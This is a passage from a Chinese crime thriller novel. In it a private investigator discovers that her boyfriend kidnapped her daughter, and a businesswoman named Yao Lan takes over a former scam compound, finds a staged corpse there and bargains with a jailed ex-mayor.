李迈青咽了下口水,不敢松懈:“他帮过我很多次,还救过我的命。” “原来是你的恩人,我还以为你们俩是一对儿。” “也算是……” 姚岚笑了笑,似乎一点都不意外:“既然如此,那如果我说你们俩只有一个人可以活着离开,代价就是另一个人要死在对方面前,你会选择将生的机会让给他吗?” 李迈青答不上来,也不敢答。 她还要救女儿,虽说眼下的情况连自保都成问题,更不要说用杀人来换回女儿了。可如果就这样死在这里,她一定不甘心。 李迈青的身体开始颤抖,她往后退了两步,一屁股坐了下去。 不知过了多久,李迈青才终于找回自己的声音,仰头对上姚岚居高临下的目光:“我想用我的命来换我女儿,可以吗?我可以自杀,只要你能把她救出来!” 与此同时,她将一直攥在手里的毒笔拿了起来,并拔掉笔帽,用笔尖对着自己的脖颈。 回应她的却是姚岚的一声轻笑:“你可真贪心。” 怎么? 姚岚说:“你刚才说要我放过你们其中一个,又说自己愿意自杀,这就说明你已经将机会让给了那个男人了。可现在你又要我救你女儿,用一条命换两个愿望。这种算法,和你原本的打算一样,不仅要杀我,还想从我嘴里套出一条让你们吃穿不愁的消息。不是贪心是什么?” 原来她都听到了?! “我……”李迈青刚吐出一个字,就又被姚岚打断。 “你难道不想知道他是否还活着吗?”姚岚伸出一手,“我的手机。” 李迈青一顿,遂快速从兜里掏出姚岚的手机。 姚岚抽走手机,开了机,回到沙发上按了几下,完全不理会一直坐在地上的李迈青。 直到姚岚对着手机问出两个字:“人呢?” 李迈青看过去,姚岚正好将手机屏幕转过来对着她,令李迈青看到视频。 杨雄倒在地上,早已被五花大绑,在地上不断扭动。 李迈青呼吸一窒,只听姚岚说:“我耐心有限,你最好不要再讨价还价。” 李迈青后背的衣服已经湿透了。 她当然知道女儿的命更重要,却又做不出舍弃杨雄的决定。 就像姚岚先前的判断一样,她既不够心狠,也不够心软,但凡她能靠一头,都不至于陷入现在的窘境。 “你爱他吗?”姚岚忽然问。 李迈青对上她侧头望来充满探究且好奇的眼神,点头:“爱。” “爱到愿意为他死?” 原本盘踞在李迈青额头上的冷汗淌了下来,连她的眼睛都湿润了:“这是我欠他的。” 姚岚却笑了:“为什么不直接回答问题?” 其实只要一个字“是”,就够了。 显然李迈青根本做不到舍己为他,为杨雄的牺牲并非义无反顾,却又碍于性格的里的不上不下和道德束缚,以及过去“他救过她”的这层枷锁,令她不得不这样选。 而这一次姚岚不再提李迈青的女儿,继续问:“那他也爱你吗?爱到愿意为了你放弃求生?” 李迈青回答不上来。 “不如听听他怎么说。”姚岚替她做了决定,并将手机的音量点到最大,令李迈青可以清楚地听到。 先是胶带撕开的声音,随即是杨雄因为剧烈挣扎而发出的喘气声。 “你都听到了。你活,还是她活?”姚岚问。 喘息声持续了几秒钟,杨雄沙哑的声音才透过屏幕传了出来:“我……只是来帮忙的……” 虽不是直接回答,却已经说明一切。 李迈青茫然地眨了下酸涩的眼睛,身体逐渐脱力。 眼泪流了下来,可即便到了这一刻,她依然没有说什么。 姚岚看向李迈青:“看来你们的选择达成共识了。你恨他吗?” 李迈青摇头:“人都是自私的,而且我欠他一条命。” “这我就不懂了,既然他能救你一次,为什么不能救第二次?”姚岚问,“你愿意讲讲‘救命之恩’的故事吗?” 李迈青眼睛发直地盯着地面,一时间也不知道是在与姚岚分享,还是在试图说服自己:“一个月前,我跟拍了一个不该碰的人,还拍到一些东西。对方想要把丑闻压下去,我也开了价。可是在交易当日,我被人从背后袭击,不仅没有拿到钱,底片也被拿走了,那个人还想杀我。如果不是杨雄及时赶到,我连怎么死的都不知道,他也因此挨了一刀……” 李迈青的声音越来越抖:“我以为对方的目的已经达到,事情就该过去了,可我还是不放心,就将女儿送到乡下去。” “你觉得是你女儿的失踪,是那个人的打击报复?” 李迈青闭上眼点了点头,眼泪落在腿上。 姚岚却问:“你难道不觉得不合理吗,报复你需要绕这么大圈子吗?而且还是在事发一个月之后。让你来杀我,成功率有多低难道那个人不知道吗,该不会是想借我的手除掉你吧?” 这话就差直接点破了:你有这种价值吗? 李迈青渐渐止住了哭,再次看向姚岚,也终于后知后觉到这里面的违和之处。 正如姚岚所说,她能读出比李迈青所知更多的东西,而李迈青也彻底相信了姚岚的判断。 “你男朋友很勇敢,既为你挡刀子,还陪你一起来杀我。为什么不干脆将杀人的活儿接过去?你说要从我嘴里套消息,他比你还要着急,巴不得快点动手……呵,如果我是那个委托人,一定是希望这件事成功,那么我会找一个更适合也更稳妥的人,显然你男朋友比你更合适。” 她在说什么? 李迈青茫然的目光中闪烁着不确定和一丝惶恐,好像有什么东西被戳破了,而她还在抵抗。 就在李迈青消化的同时,姚岚在手机上点了几下,对面的电视机开了,很快出现杨雄被捆绑在地的画面。 姚岚的语气非常轻:“底片是你拿走的吧?” 李迈青的眼睛倏地睁大,瞳孔晃动着。 “不是我!不要听她的,她在给你洗脑!”杨雄叫道,身体扭曲得越发厉害。 李迈青张了张嘴,虽然没说话,心里却在想,这样做对姚岚有什么好处? 姚岚笑问:“我为什么要这么做呢?” “你……你想我们自相残杀!你这种人,就喜欢拿我们底层人取乐。” 这就更荒谬了。 李迈青依然不说话,目光虽然盯着电视屏幕,脑海中却回荡着一个月前的细碎片段。 杨雄知道她和对方的交易地点和时间;在那之前杨雄欠了一大笔债,有段时间焦头烂额,她也给过他几次钱,却是杯水车薪;可是这一个月来,杨雄却不再提债务的事,不再向她借钱,就连气色也渐渐变了,哪儿还有是被债务缠身的倒霉样儿? 如果说底片真是他拿走的,还和对方交易,还了债呢?那对方应该没有理由再对她打击报复了啊! 那么又是谁带走…… 李迈青混乱的思绪刚走到这里,就被姚岚的声音拉回现实。 “她女儿还活着吗?” 6. Chapter 5 Chapter5 此言一出,不只是思路总慢一拍的李迈青愣住了,就连一直忙着挣扎的杨雄也停了下来。 “她是在污蔑我!”杨雄又一次喊道,“不要相信她!” 姚岚挪开视线,看向李迈青,语气温和:“你女儿跟你撒过谎吗?” 李迈青僵硬地转过头。 姚岚又问:“她又没有被人冤枉过,当时是什么样的反应?” 李迈青很快就想到有一次女儿被同龄的小朋友指责偷东西,她不仅震惊而且很愤怒,还非常响亮地喊出三个字:“我没有!不是我!” 不用过多解释,李迈青瞬间理解了姚岚的指向。 被冤枉的人,第一反应往往都是为自己辩解,而不是站在“我”的立场指出他对“我”做了什么。 杨雄的否认太反常理,反而更像是…… 然而即便是这样,李迈青心里依然在摇摆,因为就目前为止都没有证据。 姚岚没有将时间浪费在等李迈青接受现实上,而是话锋一转,对杨雄说:“既然今天你们只有一个人可以活着离开,她是否相信我的话,对你来说应该不重要。现在我就告诉你,让你离开的条件就是讲出实情——是谁指使的你。说出他的名字,你不只能活,还可以得到报酬。” 几秒的安静,杨雄发出虚弱的声音:“没有人指使我,我什么都没做。” 他的语气一点都不坚定,像是在自言自语。 李迈青想的却是,据生活在乡下的母亲所述事发那天的细节,她女儿原本在外面玩,等母亲去找时,却到处都找不到踪影,只有一组汽车的轮胎印。 如果是陌生人将女儿带走,为什么女儿不叫,为什么那么顺从?在那件事发生之后她就反复叮嘱过,要是看到陌生人或是陌生的车辆靠近,一定要转头就跑——她们还经过多次练习。 除非,是熟人。 想到这里,“熟人作案”这四个字曾从姚岚口中吐出的四个字,在这一刻变得颇为讽刺。 不知过了多久,李迈青终于有了动作,目标精准地爬向姚岚的方向。 姚岚则将自己的手机面向她。 隔着一点距离,李迈青抖着声音开口:“你没有伤害她,对吧?” “不是我,不是我!”杨雄愣了一下,叫道。 李迈青继续说:“只要真真……她没事,我可以死。求你,把她送到……不,是求你找到她,把她送到我妈那里……” 哭声再也压抑不住,眼泪也奔涌而下。 李迈青一手捂着嘴,声音断断续续。 杨雄不再接话,只是躺在地上,双眼空洞地看向上方。 姚岚依然维持着双手环胸的姿势,手指在手臂上轻轻敲着,目光平视着对面电视,却又像是透过电视看向远方。 李迈青的哭声持续着,她一遍又一遍说着恳求的话和交换条件,只希望换来杨雄的一句回应。 直到最后,李迈青努力压抑的情绪终于崩溃,她嘶吼着质问:“为什么,为什么你要这么做,她只有五岁啊!” 李迈青哭得肝肠寸断,连杨雄的解释也淹没了。 姚岚始终没有作声,等李迈青的哭声越来越小,直至没了力气,她才开口:“以你对他的了解,他会将孩子藏在哪里?这个地点,是暂时性的。” 听到这话,李迈青的哭声停了,她抹了把脸,命令自己快速冷静下来,哽咽着说:“也许,可能是……朝华公寓?” 姚岚挑了下眉:“依据。” “直觉。”李迈青吐出这两个字,又立刻解释,“哦,有个叫阿芸的女人住在那里,我曾经怀疑他们俩有事儿,但他向我发誓、保证,我才没有继续追究……” 因为选择信任,李迈青才没有跟踪调查,也可以说这是另一种逃避。 而女儿真真的下落到底是否和阿芸有关,李迈青并没有把握,却不知道为什么,在刚才那个瞬间脑海中只蹦出来这个地点和那个女人。 姚岚听完李迈青描述,便对手机另一头说:“你都听到了。” 杨雄身边不知何时出现了一个男人,他蹲下来,只露出两条腿和半个身体:“我这就叫人过去。” 李迈青看向姚岚,姚岚吸了口气,沉吟了一声说:“我倒是觉得,在实在没有办法的时候,相信自己的直觉反而更靠谱。” “你……谢谢你帮我。”李迈青说。 见姚岚笑了下,李迈青又改口:“只要找到真真,我愿意做任何事。” 姚岚却说:“想不想听听我的看法?” 李迈青不知道她指的是什么,只是点头。 姚岚说:“你这个男朋友胆子不小,但脑子跟不上,算计很多,却又不够深谋远虑。他明显将你看轻了,而且很自信可以拿捏你。所以出于侥幸心理,他应该不会将你女儿藏得很深。其实只要他防住你就好了,只要你不怀疑他,哪怕你女儿就藏在你家隔壁,你也找不到。” “你相信我的猜测。”李迈青说。 “起码这是你进门以后做过的最正确的判断。结果如何,待会儿就见分晓。” 这之后,每过一两分钟李迈青就看一次落地钟,只觉得每一分都是煎熬。 直到二十分钟过去,落地钟正好走到整点,发出低沉的撞击声。 与此同时,姚岚的手机里也出现了另一道铃声,短而促。 它很快就被按断,接着响起陌生男人的声音:“喂,嗯,知道了。” 李迈青直勾勾地看着姚岚,直到杨雄身边的男人开口:“姐,孩子找到了。” 简单六个字一下子止住李迈青忐忑的情绪,眼底升起了一簇若隐若现的光。 姚岚问:“活着吗?” “只是受了点伤。” 杨雄身体先是僵硬,随即像是虚脱了一样。 姚岚看向李迈青:“你都听到了。” 一声轻轻的喘息从李迈青口中发出,原本向前倾的身体也脱了力,紧绷的情绪完全溃泄,化为一阵阵冷汗自额头、后背流下。 “谢……谢……”李迈青吐出这两个字。 不过几秒钟,屏幕另一头的杨雄也发出无力的声音:“这就是个陷阱,都是她设计好的……你上当了,你居然相信她……孩子就是他们藏起来的,再把她送去朝华公寓……” 李迈青仿佛没听到,只是看向姚岚。 姚岚对上她乞求的目光,那里闪烁的希望始终是不确定的,似乎只要一句话,就能让其熄灭。 “拿出你的手机,给她拨个电话。” “可这里的信号已经……”李迈青想说,进来之前杨雄已经做过处理了。 姚岚却道:“早就恢复了。” 李迈青这才后知后觉地拿出手机,果然见到满格信号,遂抖着手指按下电话快捷键。 铃声响起,她吞咽着口水,盯着屏幕上的“真真”二字,甚至忘记了呼吸。 电话接通,对面响起稚嫩的声音:“妈妈!” 李迈青的眼泪再次涌出。 “真真……你,疼吗?” “不疼。”真真说,“妈妈,我想你了。” “妈妈也想你……” “妈妈,陈阿姨说,杨叔叔很快就会来接我去找你,对吗?” 正是这句话,彻底掐死李迈青心里残存的最后一点侥幸。 她闭上眼,声音哽咽:“对……” 直到电话 挂断,李迈青低垂着头,一边吸着鼻子一边擦去眼泪,似乎也在这一刻做完了所有心理建设。 屏幕另一头杨雄像是在自言自语:“阴谋,这是阴谋,你个蠢女人,这么好骗……” 李迈青吸了口气,轻声回应:“我只说那个女人叫阿芸,可没说她姓陈。到底是谁在骗我?” “……” 李迈青擦干眼泪,转向姚岚:“我要付出什么代价?” 既然姚岚救了她的女儿,她也该履行条件。 姚岚问:“你能给我什么?” 李迈青毫无头绪地摇头,她知道自己对姚岚来说不具有任何价值,可转念一想,又问:“你想让我杀了他?” 这个“他”指的自然是杨雄。 “你疯了!”一时词穷的杨雄突然喊了出来。 姚岚似有笑意:“这对我有什么好处?” 是啊,无论是她还是他,都入不了姚岚的眼睛,他们只是这个台风天的不速之客,一场小插曲。 他们的死活,于姚岚又有什么意义? “我……”李迈青再次陷入茫然。 只听姚岚问:“一个月前你都拍到了什么?” 李迈青晃了晃神,快速回道:“有人叫我跟踪本地华商许应达,我拍到许应达和他大嫂一起上了一个岛……那个岛是私人的,我有个客户跟我透露过,说那里藏着见不得人的东西。等许应达他们从岛上回来,就在停车场,我看到他大嫂给了他一箱东西,但我不知道是什么。” 听李迈青的描述角度和口吻,她应该还没有掌握核心,只是因为私家侦探的专业嗅觉,认识到这些关联的不同寻常。 许应达和大嫂之间一定有不可告人的秘密,可能是婚外情,或是别的。 不过直觉告诉李迈青,这个“秘密”和那座岛屿相比就是个赠品。 至于许应达这个人,麦城这个地方没有人不知道他,可以说是半个土皇帝。 “谁的委托?”姚岚问。 李迈青摇头:“我不知道,真的不知道……那个人只是塞了一笔钱到我的信箱,还发了匿名短信跟我提要求,叫我拿钱照办。” 姚岚若有所思地瞥了她一眼,伸出手:“手机和录音笔。” 李迈青立刻将这两件东西递了过去。 姚岚接过便站起身,走向一旁的柜子,拉开抽屉拿出一个盒子又折了回来:“以后你就用这部手机。离开这里,不要再做这行。” “你肯放了我?”李迈青接过盒子,看到里面的新手机,有些不敢相信。 “你对我还有用处么?”姚岚并不认真地回答,一边说一边在自己的手机上点了几下,“你女儿在家里等你。” “那他呢?”李迈青看向电视,正好看到一双手出现在屏幕里。 仍然是刚才的男人,他一手固定着杨雄的脖子,一手正拿着针管,针头刺入杨雄的颈部,针管里淡黄色的液体快速没入皮肤。 不一会儿,空气里响起“滋”的一声,玻璃外的铁板开始缓慢上升。 李迈青的腿已经麻了,脚还在发软,她扶着茶几费力地站起身,看向落地窗以及外面山雨欲来的天空。 身后的门开了,李迈青快速转身,看向空荡的门口,随即又看向重新拿起文件的姚岚,以及始终躺在地上的比他们更早一步闯入这里的陌生男人。 “还不走?”姚岚的视线落在文字上。 李迈青张了张嘴,发出“哦”的一声。 转身之前,她又一次扫过电视屏幕,看到的正是杨雄的身体被人拖拽走的画面。 李迈青什么都没有问,至于杨雄为什么要这么做,眼下不重要了,她只想尽快离开这里,见到女儿。 7. Chapter 6 Chapter6 李迈青离开了不到十分钟,有人走了进来。 原本处理杨雄戴的胶皮手套已经摘下,男人就站在姚岚身侧:“杨雄是要借刀杀人。一旦得手,警方介入,李迈青就是替死鬼。” 姚岚翻过一页文件:“异想天开。” “录音的来源我会尽快查。”他指的正是李迈青手里的那段。 只要查到录音是谁漏出去的,就能查到是谁委托了杨雄。 没想到姚岚却说:“不用了,录音是我放出去的。” 放这个饵,就是为了替东南亚此行铺开道路,起码眼前是谁想对付她已经一目了然。 男人有点意外,却没说话。 直到姚岚再次开口,眼尾扫向地上的人:“把他们俩打包,送给许应达。” “我知道了。” …… 三个月后,麦城出了一件大事。 于国内而言,这不过就是一则少有人关心的新闻,通篇文字再配上几张照片。 【涉案3亿,LL园区大佬许应达被引渡回国。】 听闻许应达手里有十几个园区,近百个电诈集团,散布在麦城周边。因涉案过广,性质过于恶劣,所以这次任务由麦城军方直接介入。 树倒猢狲散,许应达一倒,不仅园区被查,手下也纷纷落网,园区内上千名外籍人士被扣押。 老百姓听了觉得大快人心,而这则消息落在商人们耳中,却又是另外一种意思。 不说其他,就说麦城地界上的——那么一大块地方,总不可能只是查封置之不理吧?总要有新的人接手,用往新的用处。 还有许应达这个人,他知道得太多了,名下黑产不只服务本地,还囊括东南亚以及海外一些政商人士,太多人想要他“闭嘴”。 有人在眼馋,有人在担忧,麦城的暗涌就快要压不住了。 许应达被引渡后一个月,姚珹再次从大陆直飞麦城。 这天艳阳高照,一行人边说边笑地走进许应达在麦城建立的最大园区。 刚踏进主楼门口,姚岚的目光便透过墨镜落在白墙上那些中文字上:【天道酬勤】、【态度决定一切,细节决定成败,目标决定方向,行动决定未来】、【上善若水】等等。 旁边的解说正说到,这片园区将近80万平方米,不止有呼叫设施、医院、公寓、餐厅、娱乐场所设施齐全,还分了“中国盘”、“欧美盘”、“东南亚盘”等等。 说真的,本国还富商没有人能吃下来这么一大块地方,所以绕了一圈最后还得在大陆华商圈择选。 只是谁都想不到事情会定得这么快,也不知道中选者给了什么好处,又开出怎样吸引人的条件,只知道如今这座园区要改姓姚了。 事实上不只是这里,就连园区外的几家发电厂,都在过去半年里相继易主。 这几年大陆比较热门的风水话题就是“九紫离火”,连老百姓都知道艮土运已经结束,与“土”相关的产业也相继微缩,却少有人提艮土南移。 往前数三年,姚家便在东南亚大片的买楼买地,表面上看是为了炒地皮,现在看来却没有那么简单。 只有极少数人本地政商知道,针对许应达的清剿黑产行动,姚家在背后可是出了不少力。他的保护伞,也就是麦城的前任华人市长,也因为一系列恶性犯罪被判终身监禁。而黑产土崩瓦解给当地带来的经济损失,将会通过未来科技产业投资的形式相继填补。 就在姚岚踏进园区的这天,电视和网络上也连着推送了几条新闻,不只提到“一带一路”,还将话题延伸至“中国标准赋能数字丝路”、“东盟数字基础设施枢纽”、“数字本地化法规”等字眼。 而曾经的“屠宰场”也将摇身一变,成为数字科技产业园。 负责领队解说的工作人员还在前面口沫横飞,向一行人介绍园区的区域分布和配套设施,却没有注意到姚岚不知何时离开了人群,走向一旁的窗户前。 下一秒,一个高个子男人在姚岚身边站定,他身着休闲软料西装,高了姚岚半个头,先是环顾四周,又看向窗外的远处建筑物,最后才将目光落在姚岚看向的地方。 那是一栋有些陈旧的小楼,只有三层高,和周围几栋楼显得格格不入,样式风格都像是上个世纪末的产物。 “还记得那里吗?”姚岚轻声开口。 “嗯。”肖越一手始终藏在西装外套里,锐利的目光掠过建筑物,“就是在这里,第一次见到姚小姐。” 姚岚的视线逐渐向上抬,先是看向三楼的开放阳台,又缓慢往下移动:“你还记得从上面扔下来的那两个女孩是几号吗?” 耳边仿佛传来“咚”的一声闷响,那是人体砸进水泥地的声音。 其中一个女孩的四肢都折了,也不知道是死之前被人折断的,还是摔下来导致的。 她睁着眼睛,从眼角、嘴角淌出血水,身躯趴在水坑里,四肢诡异地向后弯。 直到现在,似乎还能听到那个深夜的雨声,鼻子里塞满了腥味儿。 “记得。是五号、八号。”肖越回答。 姚岚从记忆中回过神,吸了口气,声音依然很低:“许应达来不及销毁的资料全都查过了,二十到三十岁之间姓魏的女人有三十七个,但都不是她。” 肖越没接话。 姚岚离开窗边,继续往前走:“也许不是许应达的人干的,也许是当时就转移到其他地方了,总之你要有耐心。” “我知道……她早就不在了,只是想知道她最后死在哪儿。” 两人的步子比其他人晚了一步,快走出建筑物门口时,只能瞧见前面一行人的背影。 那群人已经走到一片树荫里,趁着等观光车的功夫,解说员指着远处的一片楼介绍接下来的安排。 肖越撑着太阳伞,和姚岚缓慢的步调一致,可两人还没走到跟前,就见到人群中出现了一阵骚动。 有人尖叫着,还有人往阳光下跑,很快就乱成一团。 直到大多数人都逃离树荫,从人群中快速跑过来一个工作人员,气喘吁吁地对姚岚说:“姚总,您还是别过去了。” 姚岚的视线越过来人的肩膀,往后面瞥了一眼,心里已经猜到一些,问:“是人还是动物?” 过去数年,不知道有多少“受害人”在这里蒸发。 可就算脏器被掏干净了,尸体也总需要一个去处,有的烧掉,有的扔到河里或荒郊野岭,还有的就地挖坑埋了。 事实上园区被查封之后,部队就进来清理过,也有园区内部的人“带路”,就在园区后面的空地下挖出来数具白骨。 而前方的树荫下位置比较靠近大路,地方不算大,位置也比较显眼,按理 说不该在这里埋尸,埋个小动物的尸体倒有可能。 可如果是埋尸,又怎么会暴露在外面? 没想到工作人员却说:“是人,而且好像……刚死不久。” 刚死不久? 姚岚闻言先是挑了下眉,遂直接绕过对方走向树荫。 肖越立刻跟上。 两人径直穿过人群走到树荫下,接着就闻到一股怪味儿,却不是腐烂的味道,反而更像是某种化学物。 眼下除了姚岚和肖越,就只有随行的采访记者和摄影师没有躲开,而此时的镜头正对着前面不远处的水沟。 那是一道人工挖掘却只修了一半的排水渠,两侧还有许多石砖没有砌上,露出水沟里的泥土,材料就堆放在另一边。 姚岚没有理会记者和摄影师,在水沟边蹲下。 只见里面斜靠着一具女性尸体,深色的衣裙干净整齐地贴在身上,中长发拨向一边垂在胸前。 女人双目紧闭,表情很平静,就像是睡着了,唯独落在身侧的两只手有些不自然。 这情形当然不会是园区之前的人做的,而是新的案子,新的凶手。 这边,女尸的模样已经被摄像机记录下来,记者则在一旁小心翼翼,像是想说点什么。 直到肖越低声交代记者:“设备留下,今天的事儿谁都不要说出去。” 随即肖越就往高处看,见有个探头正对着这里,便拿出手机拨了通电话:“C区东南角,去监控室查查这里出过什么事。” 不一会儿,就有人回:“越哥,我刚问过了。军队查封以后,监控室就给锁了。后来听说姚小姐要来,前两天就将监控都关了。” 关了? “谁的决定?” “就是这里的临时看管人,说是为了保护姚小姐隐私。” 所有人都知道,园区内的犯罪证据有很多都写在监控里,而且是360°没有死角,连埋尸的画面都是高清的。 而临时看管人和留在这里负责打扫卫生的本地人,还以为新老板也是干同样的勾当,就打算自作主张之后再来来邀功。 “自作聪明。”肖越落下四个字,转而看向姚岚,“监控没了。” 姚岚已经站起身,缓步来到树荫的边界线,眯着眼看着远处一栋栋被阳光照的通体发亮的建筑物。 过了几秒钟,像是已经过完所有思路,她才开口:“是冲我来的。” 似乎也不意外。 不知过了多久,直到工作人员将其他人带离现场,只剩下记者和摄影师。 姚岚轻轻吁出一口气:“先报警吧。” 肖越应道:“是。” 姚岚侧过身,扫向站在一旁面面相觑的记者和摄影师,又道:“既然要拍,就得拍全,注意保护现场。” 两人惊讶地看过来,一时不知道如何反应。 “你们可以拷贝,但母本要给肖越。” “好,没问题!”记者快速回答,又迫不及待地问,“那专访……” “改成案发现场独家。”姚岚边说边用眼神示意肖越,“后续跟踪报道,和这个人联系。” 就见肖越已经拿出纸笔,快速写下一个号码,递给记者。 记者看了看号码,似乎还想说点什么,姚岚却已经转过身,走向刚开到跟前的黑色轿车。 “去监狱。” 8. Chapter 7 Chapter7 此后一路,姚岚脑海中始终盘桓着刚才那一幕。 车子在高速路上和警车擦肩而过,警笛声由近至远,随即听到坐在副驾驶座的肖越说:“园区不是第一案现场。凶手的表现欲很重,如果这次警方抓不到人,可能还会有下一次。” 姚岚看着车窗外,隔了几秒才低声下结论:“是他。” 谁? 只负责开车始终不曾言语的司机的刘寻,忍不住用余光扫向后照镜。 听这意思,园区里不只是死了人,而且姚岚已经猜到凶手的身份,肖越似乎也知道她的指向,并不意外,否则就该问一句“是谁”。 不过刘寻是个话不多的人,也懂得“左耳进右耳出”的处事道理,不该记住的听过就忘,不该问的一个字都不会吐。 肖越问:“要不要更改接下来的行程?” 这显然是为了姚岚的安全考虑,毕竟在过去三年间,姚岚每次往返麦城都会引来几波宵小之徒。 而这次好巧不巧,偏偏在姚岚视察园区前多了一具尸体,又那么巧监控室提前关了,凶手还将尸体特意摆好姿势给人“欣赏”,这说明凶手不只清楚姚岚的行程,或许还和负责看管和打扫园区的工作人员有来往,甚至是混迹其中。 不过以姚家和本地政要的交情来说,这里的警察一定会受到上面的压力,要求尽快破案,下一步应该就会仔细盘查园区内工作人员的底细,特别是临时工和突然辞职的员工。 “不用。”姚岚却说,“尸体处理之后,你亲自去找王探长,除了搞清楚死者身份,再拿一份死因报告和样本。样本送回国找第三方再做一次鉴定。” “明白。”肖越透过后照镜看向姚岚的侧脸,像是在等待什么。 直到姚岚再度开口:“既然他要作秀,就不能以常规的杀人动机来分析,而是看手法。” 而与此同时,被允许留在园区现场的记者,正对着摄影机口述现场情况。她身后十几步远的地方已经被麦城警方拉上警戒线,警察和法医正在现场勘察。 【经警方透露,本案的凶手很可能有反社会倾向,对于社会有一定的报复心理,借由这种极端手段来博得社会关注。这或许将会成为警方接下来案件调查的主要方向。】 …… 一个小时后,姚岚在阴凉的监狱会客室里落座,她微笑着看向防弹玻璃另一边的中年女人。 中年女人同样在笑,而且因为经年累月地做同一副伪善表情,已经形成肌肉记忆刻在骨子里,让人分不出来她是真笑还是假笑。 而这样的一张脸,过去三个月曾持续不断地出现在麦城的电视新闻和网络媒体上——她就是被判终身监禁的前市长许立荣。 “我不知道你想从我这里得到什么,我只能告诉你,该讲的我都在法庭上讲完了。不该讲的,就算要讲,也不会讲给你听。”许立荣率先开口,“同样的道理,许应达也不会将‘鸡蛋’放在一个篮子里,否则他等不到引渡,早就死在监狱里了。” 中国大陆会用法律手段来公平地审判许应达,可这世界上总有一些躲在阴暗角落里想要许应达“闭嘴”的鼠辈。 暗箭难防,姚岚来麦城开荒这三年就深有体会,哪怕带足了钱、人,疏通了当地所有关卡,明枪暗箭依然一波接着一波。 这里不是中国大陆,有些文明渗透不进来,各路地头蛇早就习惯了野蛮那一套,管你背后是谁,你就是个外来的,穷人就是“猪猡”,富人就是“待宰羔羊”。 这就是为什么这里从底层爬上来的华人,到最后都会变成吃人不吐骨头的“恶魔”,而他们的进阶之路也只有那一种手段——你不吃人,人就吃你。 当然,上位之后,不管黑产还要不要继续,表面上都需要包一层“文明”的皮洗白。 而许应达的那层皮,就是堂姐许立荣。 “许应达的园区早就采取科技化手段,九成以上的数据录入电脑。虽然在被捕之前他让人将数据销毁,但经过国内技术的还原,基本上都找回了。”姚岚慢条斯理地陈述道,“这些数据涉及的罪刑,他死十次都不够赔。就算他愿意戴罪立功,供出其他地域的黑产主谋,也不够减刑……” 许立荣对许应达在大陆的处境和司法流程进行到哪一步并不清楚,这还是几个月以来第一次有人将消息带给她。 许立荣看上去满不在乎,却早就竖起耳朵,生怕漏听一个字,更恨不得扩展成千字论文逐一分析姚岚的潜台词。 然而许立荣到底是想错了,姚岚不是来打哑谜的,也没时间和她东拉西扯,很快便步入正题:“可你就不一样了。这里没有死刑,终身监禁的人即便再十恶不赦,也有减刑和提前释放的先例。这里的法律你比我清楚,应该知道我不是无的放矢。” 显然,姚岚是来做交易的。 自从进来以后,许立荣就已经不抱幻想,这二十年她和许应达互为“倚仗”,一个代表权力,一个象征金钱。 当然她身后还有“靠山”,可是一朝事发,如今的外交局势已经不容那些“靠山”继续装聋作哑,黑产势必要解散,一定要有人抗下所有,何况她和许应达本就是整个利益链的主谋。 至于过去向上输送的好处,他们一个字都不能吐,必须烂在肚子里。 但话说回来,许立荣并不相信姚岚的手能伸得这么长——这案子闹得这么大,所有人都避之唯恐不及,一个外来的小丫头哪来的底气? “哼。”许立荣冷笑一声,靠着椅背一副高高在上的嘴脸,“我要真信你的话,跟你做交换,就看不到明天早上的太阳了。” 姚岚依然很淡定:“你涉及的恶性犯罪,已经定性的包括绑架、诈骗和非法囚禁,好在至今没有一条谋杀罪能证明和你有关。你这种程度斡旋的余地还是很大的,只不过碍于你过去的身份和如今媒体炒作的能力,你的案子一时半会儿都会处在风口浪尖。但这种热度不可能一直持续,只要上面和公众的视线转移,过不了几年是有机会的。哦对了,王议员的儿子你还记得吗?” 听到“王议员”三个字,许立荣的笑容消失了,眉头中间的川字纹也逐渐清晰。 如果说之前还有点轻视姚岚,如今倒多了几分警惕。 “什么议员的儿子,还姓王,我怎么一点印象都没有?”许立荣装傻道。 “五年前,因六项一级谋杀罪入狱,不到一年就飞往新加坡,如今还担任三家美容科技公司的总裁。” 许立荣不说话了,却忍不住在心里猜测姚岚是哪来的消息?如果只是道听途说,她绝对不敢当面说出来,还这么笃定。 姚岚继续道:“既然那时候你有办法把人办出来,那么只要等上几年,同样有人可以将你平安送出麦城。” 这话落地,探监室好一会儿没人说话。 直到许立荣质疑道:“就凭你一句话,就想从我这里套走消息?” 她当然不相信姚岚有这个本事,却又不敢不信,因为这是她最后的“希望”,也是这么长时间以来,唯一一个递进来“救命稻草”,而不是要挟、恐吓的人。 “许应达干什么都会留一手,他们拿走的那些数据,关系到的不过都是蝼蚁、牛马的命。真正掐住命脉的大头,他都单独收着。他死了,这个秘密也会蒸发。但到现在都没有人动手,你知道是为什么吗?” 姚岚露出笑容:“得‘号令’者可得天下。这句武侠里才有的台词,我一直都觉得很中二,不 过放到现在,倒也应景。” “你倒是聪明。”许立荣问,“可你凭什么证明你就是那个幸运儿?压不住,就算拿到了,也会变成催命符。不仅得有手段,你还得有那个命。瞧瞧现在的许应达,他的八字可是麦城最顶尖的阿赞批过的,注定会发百年难见的横财。可就因为他知道了太多不该知道的事儿,八字再硬也扛不过去。” 说到这里,许立荣的脸色都变了,显然她曾经坚信过许应达的命格,也确实因此吃到了“红利”,而后来也终于见识到了什么是天意。 “你们这里的人怎么都神神叨叨的。”姚岚轻笑一声,遂话锋一转,眼神里也多了几分锐利,“我今天只是道明来意,根本没想过从你这里得到什么。就算你现在愿意告诉我,我也不会信,咱们来日方长。不过为表诚意,我可以先给你透个消息。” 许立荣没有问,却下意识屏住呼吸。 也不知道为什么,她有一种不好的预感,事实上从姚岚会见开始,她的心里就时不时漏跳一拍。 许立荣盯着姚岚的唇,只见它一开一合地吐出一句话:“你最小的儿子,上个月在看守所与人斗殴,当场暴毙。” “什……”许立荣的脑子有几秒钟的空白,“不可能……你撒谎!” 姚岚的语速并不快,每一个字都足以让许立荣听清:“我知道,你前几天还得到他在看守所受到特别照顾的消息。由于你将所有罪名都承担下来,你的家人大部分都没有获罪,特别是你这个小儿子,去年才留学回来,根本就没有参与过家族黑产。如今有人要对你的过往罪刑追责,按理说不该牵扯到他,只是走个过场,很快就能出去。可惜,有人要斩草除根,也有人不敢赌那个‘万一’——他是你最喜欢的儿子,万一他真知道点什么呢?斩草不除根春风吹又生,古往今来皆是如此。” 淡红色的嘴唇,咬字清晰地吐出要人命的话语。 许立荣的脸也逐渐褪成和身后墙壁一样的颜色。 